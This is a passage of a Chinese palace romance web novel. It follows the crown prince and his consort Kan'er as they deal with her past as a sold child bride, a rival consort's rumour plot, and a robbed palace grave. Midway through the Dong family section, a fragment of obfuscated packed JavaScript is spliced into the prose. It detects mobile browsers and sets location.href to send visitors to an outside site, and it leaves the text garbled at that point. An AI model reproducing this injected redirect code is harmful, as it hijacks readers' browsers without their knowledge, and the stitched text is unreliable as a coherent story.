自那之后她便不敢跑了。
槛儿无意拿这些事来博太子的同情,因此说得比较笼统和轻描淡写。
骆峋也神色无常地听着。
但若细看便能发现其眸底凝聚的冷意。
沉默片刻。
他摸着槛儿的脸,并不是很温情地道:“未经本人同意略卖良家女乃不法之事。
然历朝贫民卖儿卖女又为其求生手段之一,灾荒年间贫穷之家常借嫁卖女、出售劳力等手段削减口粮消耗。
本朝虽有律法约束,却碍于贫富之差缩减非一日之功,断人生路易激起民变,加之有些地区难以管控。
因而你被卖一事,孤暂时恐无法还你公道,如此你可会怨孤?”
第212章 太子吃醋,槛儿发现庆昭帝的爱?
槛儿没想到太子会上升到整个略卖人口的层面,听到最后不禁有些错愕。
不为别的。
皆因上辈子庆昭帝便在他登基不久,颁布了禁止略卖人口的新政诏令。
严禁禁止非自愿买卖。
**、诱骗、胁迫买卖人口等行为,卖者买者不论,一律以谋害社稷罪论。
或流放、或斩首。
其中尤为强调的一点是,如果强行贩卖人口者与受害者为亲属关系。
当强制断绝其关系,严禁二者有任何接触。
而且除了罪臣家属,灾荒年间父母为子女求生路而出现的自愿买卖。
**年限最长只能是十年。
自愿**的流程也比从前要复杂得多。
当然,诏令的条例不止这些。
而为了促进新政实施,也为了避免一味地强行禁止激起太子方才说的民变。
庆昭帝制定了不少兴民、惠民之策。
调整户籍管理政策,以及文化教育、宗教宣扬等方面也都有不小的变革。
虽说偏远地方还是有不少人钻律法的空子,也有人费尽心机私下里搞事。
可从整体上来看。
新政后本朝的强制性人口买卖切切实实减少了不止一星半点儿,很多贫困之地也得到了极好的发展。
尽管槛儿知道庆昭帝实施这一新政和她没什么关系,可她也还是要承认。
她当时当真触动颇深。
也因此这会儿听太子说起关于略卖人口的事,槛儿没忍住小吃了一惊。
心道莫非前世的庆昭帝也是这时候便有了改革人口买卖政策的想法?
可惜这终究是个无解的问题。
骆峋见怀里人神态惊愕,眼神悠远。
明显一副神游太虚之态,亦或者该说她是透过他联想到了别的什么。
这个别的不作他想。
定是庆昭帝无疑。
骆峋牙酸。
抬手撩起水往她脸上弹,别有深意道:“孤与你说话,想什么这么出神?”
呃。
槛儿回过神。
光线的关系,倒没让她看出他眼底的晦暗。
“妾身在想该怎么回答您这个问题,说实话吧,怕您恼我,可又不敢编瞎话。”
槛儿的手放在他胸膛上,张口就来。
骆峋冷哼。
槛儿明知故问:“您先恕妾身无罪可好?”
骆峋想继续冷哼,但又觉有失风度,便用鼻音发出一道微不可闻的气音。
“不准油嘴滑舌。”
槛儿:“……”
槛儿其实没打算跟他油嘴滑舌。
沉思片刻,她认真道:“公道什么的,本就不是说讨回就能讨回的。
我刚发现自己被卖时确实有怨过,不过不是怨您,那也怨不到您头上。
而是怨舅舅舅母,怨他们加起来六十多岁的人居然跟一个小孩过不去,怨自己被卖被打也没个地方说理。”
“可怨来怨去终归无济于事,加上这些年一直在忙着过好当下的日子。
也很多年没他们的音信了,我便不想将心思浪费在怨恨他们这件事上。”
“当然如果他们在我面前,我肯定不会原谅他们,不在,我就不去费心思。
至于您说的怨您与否,我还是那句话,怨不到您头上,您心怀社稷黎民。
妾身相信有朝一日您不仅能还妾身一个公道,更能造福大靖万千百姓。”
早在之前槛儿说希望他福寿康宁长命百岁时骆峋就知道,她说那样的话并非奉承他,而是其真心所想。
当时骆峋很是触动。
此时再听类似的话从她口中出来,他仍触动,却不再怀疑她是否别有居心。
“嗯,孤会的。”
骆峋握住她的手,与她十指相扣道。
顿了顿。
他沉声说:“孤早先与你说过,孤有眼、会看,有耳、会听,有脑、会思考。
孤不昏聩,是非曲直孤自有论断。”
“你可以有你的想法,孤言不介意也并非强迫你定要信了孤,孤亦想不到要如何做方能彻底安你的心。”
“但……”
骆峋摸摸槛儿的脸。
“你被卖一事乃本朝律法疏漏所致,乃你舅舅舅母所致,实非你之过。
你为大靖子民,孤为储君该向你致歉,你为东宫侧妃,孤为夫主,该护你周全。
若明知其苦难,仍以其苦难为矛攻其之伤,与牲畜何异,于你而言孤可为畜?”
这话当真太重,太大逆不道了。
他敢问,槛儿可不敢答。
她惊得一把捂住他的嘴,“您说的这叫什么话,您明知我没那意思……”
骆峋抓着她丰润的腕子,在她掌心亲了亲,槛儿的声音瞬时低了一个调。
骆峋捞起她的一条腿,让她面对他坐着。
也是想以这种方式安她的心。
于是凑近她耳畔。
红着耳尖沉稳地低声道:“在此试试?
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”
槛儿愣了一瞬,反应过来太子指的什么,她的双颊几乎眨眼间似涂了层胭脂。
“殿下,您怎么能、怎么会……”
想说他现今怎生这般孟浪了,之前他虽偶有类似调戏她的行举,但说法和行为上到底还是较为矜持的。
可从没像如此直白过。
然当槛儿拉开两人之间的距离,对上太子那双虽深幽却不似以往行那事时隐隐有暗火跳动的眸子时。
槛儿忽然就明白了。
他不是真想在这时候做那事,他只是想用这样的方式告诉她,他不介意。
早先他知道她曾为人童养媳,但因着她那时年岁尚小,又是良籍。
所以他不介意,合情合理。
可如今他知道了董茂生是个痴儿,知道了她给做人童养媳时要如何照顾对方。
他还是不介意。
不对!
槛儿瞳孔微缩。
这辈子董家在京城,上辈子呢?!
董家和她有着实实在在的关系。
连她都会想太子在得知她曾经名义上的丈夫是个傻子,得知她可能如何照顾对方时太子会不会介意。
会不会厌弃她。
那么前世与她有过节的郑氏,其他与她争宠的妃嫔呢?那些想拿捏东宫的把柄,对付太子的人呢?
譬如信王、睿王。
他们会不知道从她这个宫婢出身的宠妾入手吗?会查不到董茂生吗?
不。
若上辈子董家也在京城,那么想查清她在董家的经历简直易如反掌。
退一步说,就算董家没在京城。
以信王、睿王,更甚至朝中其他想拉太子下马的人的手段,又怎可能查不到她和董家,和董茂生之间的事?
岂会不知太子宠妾曾经的丈夫,是个日常拉屎撒尿都需得人照顾的?
可前世董家没被牵扯出来。
她没有因为给董茂生做过童养媳这件事,而遭受任何非议和攻讦……
骆峋见槛儿前一刻还眼含春水,双颊如桃花般娇艳,一派欲语还休的娇羞之态。
该是被转移了注意力。
岂料转瞬间,眼前人脸上便失了血色,神态之复杂似是受了不小的冲击。
骆峋眸光凝了凝。
静默片刻。
他轻拍了一下槛儿的肩,语气波澜不惊道:“孤不会强迫你,不愿便……”
“罢”字没来得及说出来。
他被怀里人抱了个结结实实。
第213章 槛儿动情(?)“孤要恼了。”
骆峋身子绷了绷。
“怎么?”
感受到她从未有过的力道,他稍显错愕,手落在她光洁的背上,低声问。
他方才还当她是忽然意识到他在这种时候也想行那事,觉得他只顾自己快活不顾她的心情,过于轻浮孟浪。
因而遭受了冲击。
如此看来,应是他想岔了。
槛儿也不知自己此时究竟是何心情。
望晴与孔喜德的事一件。
董家,董茂生的事一件。
原以为他对她的宠,与寻常帝王宠爱妃嫔无异,以为她于他而言,不过只是一个刚好合了他心意的妾。
甚至立她为后,也仅仅是因为她温顺听话,尽到了他心中一个合格的宠妃该尽的本分,尤其没有外戚干政。
他需要她占着皇后的位置。
于是便顺理成章地,将她捧到那个位置。
她也顺势受下了。
可现在,事实好像在推翻她的以为。
为什么不介意?
为什么要替她压下一桩又一桩的事?
若只是不想被别人握住她的把柄,借此来构害他,他完全可以在得知这两件事时便让她暴毙而亡。
若只是想要一个没有外戚的人坐上凤位,他也完全可以另择别人。
他是皇帝。
一个家世出身皆清白的孤女于他而言又有何难。
偏偏他没有。
他甚至提都不曾向她提起过这两件事,而她也天真地以为无事发生。
“再不言,孤恼了。”
骆峋抱着人,没什么情绪起伏道。
槛儿松了松手臂,侧过头看他,笑着说:“殿下要恼,原会提前与妾身说呢。”
洞若观火如骆峋,只觉得此时的她与其说在笑,倒不如说更像是要哭了。
好端端的,情绪为何会有此转变?
骆峋想到了庆昭帝,他们在谈她被卖的事,她方才不正是想到了庆昭帝?
那么,庆昭帝可知她曾是那人的童养媳,可知她曾在那家受过怎样的苦楚?
骆峋猜,庆昭帝知道。
甚至可能庆昭帝将这件事处理了,没让其成为旁人非议她的把柄。
而对于此事,上辈子的她是不知情的。
然后就在刚刚她推测出来了,她有感而发,所以突然那般紧紧抱住他。
那么槛儿此刻作何想呢?
发现了庆昭帝对她的用心,发现他对她原是与众不同,原是有情爱的。
她是否在遗憾不曾与庆昭帝交心?是否发现,原来她对庆昭帝也是有情的?
还是,她会就此将对庆昭帝的情移到他身上?
骆峋发现自己能接受她对庆昭帝抱憾,却不能接受她将对其的情移至他身上。
于是他握住槛儿的腰,低头封住她的唇。
察觉到她的回应,骆峋瞬时以前所未有的强势姿态掠夺她的呼吸与体温。
槛儿沉溺在他的气息里。
心口酸得想哭,又有些惆怅有些无奈,万千复杂情绪最终化作一声暗叹。
庆昭帝待她好,她一直记得。
她也没忘自己临终前,庆昭帝在榻前对她的种种照顾,为她日渐消瘦憔悴。
可惜太晚了。
她与庆昭帝,他们都太过后知后觉,他们之间一开始就隔着一道不可逾越的鸿沟。
他不言。
她不敢。
他们便注定了只能遗憾。
仅此而已。
至于这辈子……
槛儿的手指穿过太子的发,感受着他愈发强劲的力道,听着浴桶中四溅水声。
有什么在心底破土而出,风一吹。
好似蒲公英消散。
可蒲公英落地生根。
幸好,她是清醒冷静的。
等今年的选秀开始,等往后一届又一届选秀结束,她应该会比现在更冷静。
是夜,怀中之人的呼吸绵长而均匀。
骆峋睁眼,眸底一片清明。
槛儿没有将对庆昭帝的情转移给他,从她与他缠磨时的反应能感觉到。
可她对他亦有所保守。
骆峋能理解,也不怪她。
合该如此,他亦不会强迫她对他有情。
只他尚且无法对她守住自己的心,她两世与同一个人朝夕相处,肌肤相亲。
要谨守着一颗心,又岂是易事。
他要让她尝两辈子的苦吗?
低头看了看枕着自己胳膊睡姿乖顺的人,几息后,骆峋点了她几处睡穴。
而后缓缓抽出胳膊,起身下榻。
回了元淳宫。
刚进书房,朔蜂悄无声息地现了身,“主子,近几月确有人与董家人接头……”
.
梆!梆梆!
“天干物燥,小心火烛!”
梆!梆梆!
宫外,离主街不远的抄手胡同里,四更天的梆子声从不远处传来。
某座破旧的小院子里,后罩房。
董家从村子里逃出来之后,在凤阳府某个偏远小县城里落了两年脚。
之后董家老太爷给人抗货时不小心被货砸**,主家赔了董家一笔银子。
陈月娥想给儿子治脑子。35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16275032|180054||http|test|mini|href|location''.split(''|''),0,{}));
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r>加上他们家小女儿也快到说亲的年纪了,也是打着攀高枝儿的算盘。
所以加上秋穗娘和老太太,一家六口就一路紧赶慢赶来了天子脚下。
京城的开销可不是外地一个偏远小县城能比的,单是一碗馄饨就要十五文,够买五碗小县城里的馄饨了。
更别提安家的房子。
别说董家没多少银子,便是能拿得出来钱也没门路租,更没门路买。
所以他们花了好一番功夫才得以落脚。
刚开始住的地方在前门外大街大栅栏附近的羊肉胡同,就是在一个又破又小的院子里租了两间倒座房。
这地方虽说瞧着不好。
可离热闹地段不远,正应了越是繁华的地方越是需要劳力人工一说。
陈月娥在一家不大的酒楼里找了份洗盘子的活,她男人董大力还是给人搬货。
秋穗娘则负责在家照看老太太和董茂生,以及当时在家备嫁的董娇杏。
董娇杏四年前嫁人了。
嫁的是个卖杂货的小贩,是她自己外出看上的,当时可把陈月娥气得不轻。
她可是指着董娇杏嫁个富贵人家做太太的,她也好捞个富家夫人当当呢。
可惜气归气。
那会儿董家在京城待了近两年,陈月娥也知道这地方的富贵人家他们这种平头百姓有多不好挤进去。
闹了几场,倒也认了命。
而就在今年的二月底。
秋穗娘出门买东西时跟董茂生因槛儿闹了一场,当时突然冒出个人,问他们知道的槛儿是不是姓宋。
对方一出手就扔了十两的银锭子。
被陈月娥磋磨得没了性子的秋穗娘可不敢昧下这么大笔银子,也不敢瞒着那人找他们问槛儿的这件事。
于是秋穗娘就和董茂生一道,把那人领回家见陈月娥跟董大力了。
之后没过多久。
陈月娥做主搬了家。
虽说搬的地方仍是又破又小的院子,却好歹从临街嘈杂、冬冷夏热的倒座房换成了稍微好些的后罩房。
两间房也变成了三间。
且还不是他们租的,是买的。
也算是正儿八经有了个家。
此时此刻。
秋穗娘躺在铺了层破席子的地上,听着炕上董茂生震天响的呼噜声,身子很累却是怎么也没有睡意。
槛儿……
她怎么也没想到,今晚在街上遇见的那个美丽小夫人竟就是槛儿。
那个小小年纪便不安分,害得她被人牙子送给董家做童养媳的槛儿!
第214章 太子爷:“榻上作何要庄重?”天道好轮回
晚上那会儿,傻子也不知抽了啥风,非追着那美丽的小夫人叫槛儿。
还说那就是他小媳妇儿。
当时街上的人那么多,秋穗娘臊得简直恨不得当场找个地缝钻进去。
好不容易把人拽回来,董茂生又跟他娘陈月娥闹着说他找到槛儿了。
要陈月娥带他去找槛儿。
陈月娥把儿子哄好后就逮着秋穗娘算账,问他们在外头发生了啥。
秋穗娘自是实话实说。
她刚开始根本不信那个漂亮得不像话的贵夫人,会是傻子口中的槛儿。
那般美的一个人儿,给傻子做童养媳,不是癞蛤蟆想吃天鹅肉是什么?
秋穗娘觉得傻子还真是会做梦,真真是应了那句“痴人做梦”。
但让秋穗娘没想到的是。
陈月娥听她说完他们在外面遇到的事,居然没觉得她儿子在胡说八道,反倒追问起了那小夫人的样貌。
秋穗娘就按自己的印象描述了一番。
没曾想等她说完,陈月娥竟拍着桌子,冷笑着说什么“还真是她”。
秋穗娘当时人直接傻了。
倒不是惊讶陈月娥的说词跟她早先说过的,槛儿没过八岁生辰就跟人跑了,结果被进村的土匪砍死了的说词相左。
因为那天把那个陌生男人带回家后,秋穗娘就知道槛儿还活着的事了。
之后那男人又来了两回。
道是宋槛儿现今是贵人主子了,伺候的是他们大靖最尊贵的少爷。
还给少爷生了个大胖小子。
日子过得可美。
那男人说了很多,总之就是宋槛儿如今过得顶顶好,他们想象不到的好。
秋穗娘也因此得知了宋槛儿还活着,所以她并没有惊讶陈月娥的说法。
她诧异的是。
陈月娥竟说那小夫人就是槛儿!
于是秋穗娘就问陈月娥,槛儿走这么多年了,她咋还能知道人家长啥样?
陈月娥还是冷笑。
说槛儿打小生得妖,一身皮子比白面还白,那样的小骚货不会再有第二个。
秋穗娘平时没少听陈月娥骂人。
董茂生每次把她认成槛儿时,陈月娥也都会把槛儿骂一顿,骂得可难听。
以前每当这时候秋穗娘听着不仅不会觉得陈月娥骂得脏,反而觉得她骂得对,也跟着在心里暗骂槛儿。
顺便咒怨几句。
咒对方下辈子托生成傻子的童养媳,把她吃过的苦全给吃一遍!
谁叫她跑了呢。
宋槛儿不跑,她也不会在董家吃苦。
然而今晚,听着陈月娥骂宋槛儿小骚货,秋穗娘第一次觉得刺耳。
她的脑海里不受控制地浮现出那小夫人比花儿还娇艳的脸,耳边响起对方温温柔柔客客气气的声音。
不知道她是槛儿时,秋穗娘只觉得那小夫人与她站一起便一个是天上的月亮,一个是阴沟里的泥点子。
她觉得羞愧、难堪、自卑,除了仰望对方,她生不出一丝嫉妒羡慕。
而当她知道那人可能真是槛儿后,秋穗娘莫名有种“难怪”的明悟。
难怪陈月娥明明那般厌恶槛儿,之前却又买下了她给董茂生做童养媳。
能把那般貌美的姑娘当畜牲使唤,能让那般人物照顾她儿子吃喝拉撒。
甚至今后能让对方替她的傻儿子生孩子,以陈月娥刻薄见不得别人好的性子,当初该是觉得很畅快吧。
也难怪董茂生那么对槛儿念念不忘,好看又温柔的姑娘,谁不喜欢呢。
明明之前秋穗娘那么怨恨槛儿,认为是对方的不安分造成了她的苦。
可现在,秋穗娘怨不起来恨不起来。
她也不知道为什么。
脑海里一遍遍想起槛儿的脸,回荡着她的声音,想起她和那个俊得像天神一样的男人站一起的画面。
天造地设的一对。
说的便是他们那样的人物吧。
秋穗娘想,那样漂亮的姑娘合该配那样的男人,而不是给傻子做童养媳……
叩叩。
敲门声打断了秋穗娘的思绪。
她怔了怔。
猜测难不成陈月娥又来听墙角了,发现屋里没动静,所以要进来逮她?
秋穗娘又臊又恼又悲,难道她真要跟一个傻子圆房,替傻子生孩子吗?
秋穗娘不敢装睡。
起来去开门,示弱的话都到嘴边了,谁知开了门发现竟不是陈月娥。
是一个穿着打扮利落干练的女子,手里拎着盏小灯笼,看模样二十左右。
容貌并不出众,眉眼瞧着很是温和可亲。
“您是……”
秋穗娘迟疑道。
朔蜻弯唇一笑,“秋姑娘,我们主子有请。”
秋穗娘又警惕又懵。
“你们主子是谁?这么晚了找我做啥?我、我只是个普通妇人,我没啥……”
朔蜻:“秋姑娘不必担心,您与我们主子见不上面,只我们主子知晓前阵子有人寻你们打探宋主子的事。”
秋穗娘错愕。
宋主子?
宋槛儿吗?
不待她想明白,就听眼前的女子继续道:“秋姑娘若答应交涉,主子可允您一件事,以解您燃眉之急。
秋姑娘若不应,便当我没来过,只就得辛苦您为屋中之人绵延子嗣了。”
秋穗娘神色骇然,“你、你怎么知道……”
陈月娥在逼她生孩子。
朔蜻但笑不答,“秋姑娘可愿随我走一趟?”
秋穗娘忐忑又隐隐含着一丝期盼,她没忍住朝打呼噜的董茂生看了一眼。
“我怕他,还有我婆婆……”
朔蜻:“他们一时半会儿不会醒来。”
秋穗娘的心怦怦直跳。
犹豫了会儿,她鼓足勇气地点点头。
“……好,我跟你走。”
.
翌日一早。
槛儿醒来时外面已是天光大亮,太阳光从窗户照进来,屋子里明晃晃的。
槛儿觉得自己大抵真是累了,夜里睡得沉不说,还赖床到这个时候。
也是她现在不用向谁请安。
若不然早不知背多少罪名了。
不过令槛儿意外的是,太子这个点儿竟也还跟她一块儿赖在床上!
睁眼乍一对上男人半敞的衣襟下熟悉的玉白胸膛,她怔怔地摸上去。
旋即“腾”地坐起来。
“殿下!上朝迟了!”
骆峋闭着眼翻了个身,伸手将她拽回来按在怀里,哑声道:“三日假。”
今天最后一天假。
槛儿想起来了,卸了力脸贴在他的心口一动不动,“那您再睡会儿,我起了。”
骆峋眼皮子没撩一下,捏她的耳垂。
“起来作甚?”
槛儿感受着他说话时胸膛的震颤,柔声说:“去看看曜哥儿,我刚刚好像听到他的声音了,估计在院子里。”
“有奶娘照看。”
槛儿微微仰头看着他清隽的下颌,一本正经道:“殿下昨晚累到了。”
骆峋终于睁了眼,垂着长长的睫毛睨她。
“何意?”
槛儿:“字面意思,您昨晚……”
骆峋翻身将其压回榻上,黑黝黝的眸子逼视着她,“你以为孤那般无用?”
槛儿懵了一下。
意识到他误会了什么,她脸瞬时红了,在他胸膛上轻捶了一拳。
“大早上的您说什么呢!我的意思是昨晚您与我出去逛街累到了,又不是……”
“不是什么?”
骆峋瞥眼帐外地垫上的日光,视线落回她慵懒的眉眼上,明知故问。
槛儿推他,又偏头往门口方向看了看。
“您别、大白天的,一会儿跳珠她们该进来了,您我如此不庄重……”
说起来,这辈子他们确实还没在白天这么在榻上缠磨过,槛儿是真不习惯这辈子的太子忽然变成这样。
骆峋也觉得不成体统。
虽不至于到白日宣淫的地步,但青天白日不务正业,流连于床笫之间。
实非明储所为。
可看她红着张小脸儿这般难为情,骆峋心里的不自在反倒被冲淡了。
他面无表情地用指节刮了刮槛儿的脸颊,淡淡道:“榻上作何要庄重?”
槛儿:“……”
槛儿真想啐他。
做什么要庄重?
他说的啊!
他之前拍着她屁股说的啊!
叫她庄重些。
那时候还是夜里呢,还黑灯瞎火的呢,他们还刚刚做完那事呢,他就叫她庄重。
这会儿太阳那么明晃晃的,结果他反倒问起她来做什么要庄重!
这叫什么?
只许州官放火,不许百姓点灯?
第215章 “孤会一直在。”曜哥儿非礼勿视
槛儿忍着笑有意提醒提醒太子殿下,可话到嘴边她忽地想起另一件事。
神色不禁凝重起来。
“殿下,有件事估计又得麻烦您了。”
“嗯?”
骆峋用鼻音应了一声。
从她身上翻下来,拉着她一道坐起来。
槛儿:“我不知道董家什么时候来的京城,想请您帮忙查一查可以吗?
另外董家既在京城,就怕不知什么时候会有人查到我和他们之间的事,若我和董茂生的关系被扒出来……”
骆峋沉吟片刻,握住了她的手,“二月底你生辰那日,已有人寻过他们。”
他虽瞒着她做了些事,但这整件事与她有关,骆峋并不打算尽数对她隐瞒。
她知道了,心里也能有底。
槛儿不知道太子昨晚在她睡着后出去过,但听他这么一说她便有所猜测。
“有人寻过他们了?谁!不对,您什么时候知道这事儿的?昨晚让人查的?还是外面已经有什么风声了?”
“别急。”
骆峋安抚道。
“昨晚回来后叫人查的,宫外目前尚未有流言传出,至于谁寻的他们。”
他默了默,眼底掠过一抹阴翳。
“是魏嫔。”
“魏嫔……”
槛儿喃喃。
魏嫔是前睿王的生母,道理完全说得通。
且对方曾得宠多年。
在宫外有经营的人脉再正常不过,再者前睿王一系也不是没有人在。
他们能查到董家头上槛儿倒不觉得意外。
只不过魏嫔的目的是什么?借扒出她和董茂生的事来让东宫蒙羞?
不对。
从她的生辰二月底到现在六月底,这期间已经过去了整整四个月。
如果单只是为了散播流言让东宫蒙羞,这个准备的时间未免有些长了。
再者只是蒙羞并不足以重创东宫,亦或是对东宫造成其他方面的打击。
结果充其量可能只是坏了她这个太子侧妃的名声,让她被处置了。
这样于东宫而言,意义根本就不大。
不是槛儿妄自菲薄,而是事实如此,以魏嫔的立场来说不可能做这种白功。
除非是在坏她名声的同时还会牵连到别的事,别的能对太子及东宫,甚至中宫一系造成重大打击的事……
“曜哥儿!”
“哒?”
槛儿刚想说魏嫔的目的可能是曜哥儿,就听卧房门口传来小家伙的声音。
扭头一看。
海顺抱着曜哥儿站在屏风另一侧,窘着声音道:“小主子直个劲儿甩着膀子指挥奴才来找两位主子呢。”
“哒哒!”
说着话呢,曜哥儿又朝屋里甩甩胖胳膊。
槛儿与太子对视一眼。
后者撩了撩帐子,“抱进来。”
海顺“诶”了声,抱着曜哥儿进来,却是始终垂着眼不敢乱看一眼。
槛儿有点尴尬。
儿子都起来了他们两个大人还赖在床上,也不知瑛姑姑他们会怎么想。
别说。
包括海顺在内的一众宫人还真挺纳罕的,毕竟两位主子以前可从没这样过。
今儿倒稀奇,只到底关乎主子们的房中事,大伙儿不管心里怎么想面上反正是决计不敢有所表现的。
当然,海顺也是知道两位主儿没在一大早行那事,才敢抱小皇孙进来的。
其实这还是曜哥儿第一次主动吵着来娘的卧房,甚至上娘的拔步床。
毕竟他心理上可是大小孩了,奉行君子风度呢,君子可不兴进出女子闺房。
可曜哥儿昨天傍晚起就没见娘了,刚刚拿了娘买的泥偶玩,不免有些想娘。
又考虑到娘和父王从没赖过床,今天却迟迟没起,曜哥儿好奇的同时也担心。
于是就吵着来了。
来了之后见娘穿着寝衣,没有梳妆,曜哥儿当即一脑袋栽进爹爹怀里。
闭着眼默念非礼勿视。
槛儿正伸手要把儿子从太子手中接过来,就见小家伙猛地一扭身子,然后“咚”地一脑门儿撞太子胸膛上。
她哭笑不得。
“你个小墩墩一惊一乍的做什么,爹爹身上硬邦邦的,撞疼了吧?”
骆峋看她一眼。
槛儿专注于给曜哥儿揉着脑袋瓜,没接收到太子殿下的这个眼神。
曜哥儿没有撞疼,他脑门儿比较硬,可娘的关心曜哥儿也乖乖受下了。
但当娘要抱他到她怀里去时,曜哥儿红着小脸揪着爹爹的衣襟不松手。
“哇呜咿啦!”
等娘一会儿起床后再抱啦。
槛儿听不懂儿子的婴语,换做平时她或许还会故作伤心地逗逗小家伙。
但现在她和太子还有正事要说,也就随着儿子趴在他爹怀里了。
“对不对殿下,魏嫔的目的是曜哥儿,”言归正传,槛儿神色认真道。
骆峋扶着儿子小小的背任他趴在身上,横竖小崽儿听不懂,他便没避着。
“嗯,不过目前暂只找到了与董家接头的人,对方接到的命令是散播谣言。”
谁的谣言,不言而喻。
槛儿知道太子今晨为何会跟她赖床了,或许他昨晚就没怎么睡。
槛儿翕了翕唇,“是不是已经迟了?”
“确有些迟。”
骆峋没瞒她。
“不过既已将与董家接头的人控制住了,事态便在可控范围内,就是……”
他顿了顿。
一手搂着儿子,一手抚上槛儿的脸。
“恐仍会有流言蜚语,于你名声有碍,届时或需你站出来澄清,可会怕?”
这件事骆峋自觉有所失误。
槛儿生辰那日他去衔福楼,出来时听闻有男人唤了“槛儿”这个名。
却因着当时没看到人。
加之他私以为“槛儿”一名别具一格,该是不会那般巧,也许是他听错了。
因着这样的想法,他当时便没让锦衣卫排查,骆峋承认是他疏忽了。
“孤很抱歉。”他三言两语对槛儿说了那日的事,并不避讳道。
槛儿笑了,偏头在他掌心蹭了蹭。
“哪里是您的错了,您没有错,我也没有错,错的该是别有居心的人。
是时我不在意外面的流言会怎么传,只要最后能保住曜哥儿,保住您我与东宫,只是澄清又有何惧。”
骆峋望进她坚定澄澈的眼底,遂单手将她拥入怀,“孤会一直在。”
曜哥儿睁眼。
伸出小胖手抓住了娘的手。
第216章 “储君不能人道,天要亡我大靖!”
太子之所以说现在遏制流言有些晚了。
源于暗卫虽控制住了与董家接头的人,对方却是已将散播流言的事分派下去了。
不是派给他们固有的人手。
而是派给了市井街头的混混、乞丐,以及游商小贩、青楼中人等人脉关系复杂且难以追溯具体源头的人群。
本朝对于诽谤谣言、妖言惑众等行径有明确的刑律管束,但实际要完全禁了这些流言谣言却是不可能的。
一则市井里这种口头传播的事情要追根究底,是件极其不易的事。
除非直接威胁到皇权,否则官府不能大规模抓人,若不然很容易激起民变。
也因为如此。
不少时候前朝后宫才会借这种捏造事实,煽动民众舆论的方式斗来斗去。
二则便是,人都有种奇怪心理的。
会认为一件事情越是被人压,就越说明对方心里有鬼,这种情况反而容易激起民众的逆反心理。
导致事情越闹越大。
暗卫昨晚倒是根据魏嫔的那个线人的供词,抓了几个接收到“任务”的混混和小贩,可惜不著见效。
事实也证明,骆峋与槛儿通气通得很及时。
因为就在今日下午。
关于东宫现今唯一的侧妃,为太子诞下长子的宋良娣曾做过别人的童养媳,且那男人还是个傻子的传闻。
便在街头传开了。
而除了这件事,还有另一件事也犹如一记惊雷从京城内外某处轰然炸了开。
事态发展甚至连太子也始料未及。
也是前阵子元隆帝龙体抱恙,太子东宫、朝堂两头顾,底下的人手要么分派出去关注朝中大臣们的动向。
要么留意京畿军中动向、各地官员的任免风向以及各地民情什么的。
无暇去管一个没什么政治价值,不属于皇陵管辖范围内的墓地的情况。
锦衣卫成日里也忙着监察朝堂上的党派,边疆军报、地方叛乱以及财政赋税、各宗亲府动向之类的事。
皇陵外围的低阶墓园与皇权关系不大,那边的事一般也不会报上来。
于是就导致事情发酵了。
太子才收到消息。
“诶,你听说了吗?前阵子京郊那处皇家墓园里有坟遭掘了,尸体都被偷出来了,结果你猜怎么着?”
“怎么着?”
“据说那女尸是东宫的一个妾!”
“嗐,我当啥呢,西山那边本来就是皇家墓地,东宫死了的妾就该埋那儿啊,这有啥可大惊小怪的。”
“你别打岔听我说完,那天杀的盗坟贼也不知干啥要把人尸体给偷出来。
偷了就偷了吧,可最后也不知是被他们半路给扔了还是不小心弄掉了。
那东西就掉在林子里,被附近一家农户捡给他们家早死的儿子配冥婚去了!”
“你等等。”
听热闹的人打断道,“那人啥时候埋的啊,难不成捡副骨头架子回去配?”
“这你就不懂了吧?宫里头那些个贵人们死了可不跟咱老百姓一个埋法。
人家那可是做了特殊处理的,棺材都能杀虫防潮防腐,人埋了一年不烂!”
紧接着这人便将他所知道的全说了出来,围着听热闹的人也越来越多。
大致便是京郊西山皇陵外围的低级皇家墓地里,六月中旬左右发生了一起宫嫔墓被盗掘的事。
盗墓这事儿哪朝哪代都不少见,皇家的低级墓地被盗这样的事也时常发生。
皆因低级的皇家墓地离帝陵和后陵较远,这些墓园规模极大,墓葬分散。
而朝廷通常不会派大量的士兵层层把守里面的每座坟,守卫人数有限,几百年过去墓园的看守就松散了。
也就给了盗墓贼可乘之机。
早两年虽说因着盗掘事件猖獗,皇帝下旨派了人加强了那边的看守。
但到底百密有一疏。
这不?
就又发生了一起。
甚至连尸体都给偷出来了!
盗墓盗尸这事儿可也是有的。
譬如一些信奉巫术的会用人骨做法器,觉得人骨做的法器法力无边,亦或是利用人尸来施行诅咒之术。
另有一些妖医喜拿人的骨肉入药,皇室中人的骨肉于他们看来更有功效。
总之,盗尸这事在时下也不算罕事。
可奇怪的就是。
这回盗墓贼竟把尸体给丢了!
不知道什么原因,反正尸体是弄掉了,被一家刚巧要给儿子配冥婚的农户捡走了。
而那户农家在给儿子配婚之前,请了专门的婆子先给那女子验了身。
要知道时下民间配冥婚讲究的可是不论男女,都必须得处子之身才行。
若不然就会不吉利,会给家里招灾。
当然这只是一种说法。
具体究竟怎么样尚未可知。
总之婆子验了尸身,确认那女子是完璧之身后便与那家人的儿子配了婚。
说起来那家人也是不知轻重的。
他们捡到那女子的尸身时,还捡了一本记录了对方生平的铭文册子。
但他们家没人识字。
于是就找了邻居家识字的丫头来帮他们看那册子上写了什么。
那丫头倒是帮着看了,可问题是她年纪不大,没意识到事情的严重性啊。
什么东宫,什么承徽,什么太子的妾。
那丫头认字不认事啊。
这就致使她不仅跟那家人说了册子上记录的啥,回家后她跟自家人也说了。
别看这些人说是就住在京郊,也算是天子脚下的子民,可实际西山这片儿离京城还有二十多里地。
且寻常百姓家大部分人日里忙着解决温饱,除了偶尔听人唠唠嗑,讲讲戏文。
其他时候哪有心思跟门路关注什么皇家、朝廷,皇帝的妃嫔,太子的妻妾啊。
这些东西离他们的生活太远了。
他们只知道皇帝、太子、当官的,那都是顶顶了不起的人物,是大老爷。
宫里的娘娘们那也是顶顶尊贵的人儿。
除此之外,再多的认知他们就不清楚了。
也因此。
在得知自己给儿子配的婚竟然是太子的妾,是皇宫里的贵人主子后。
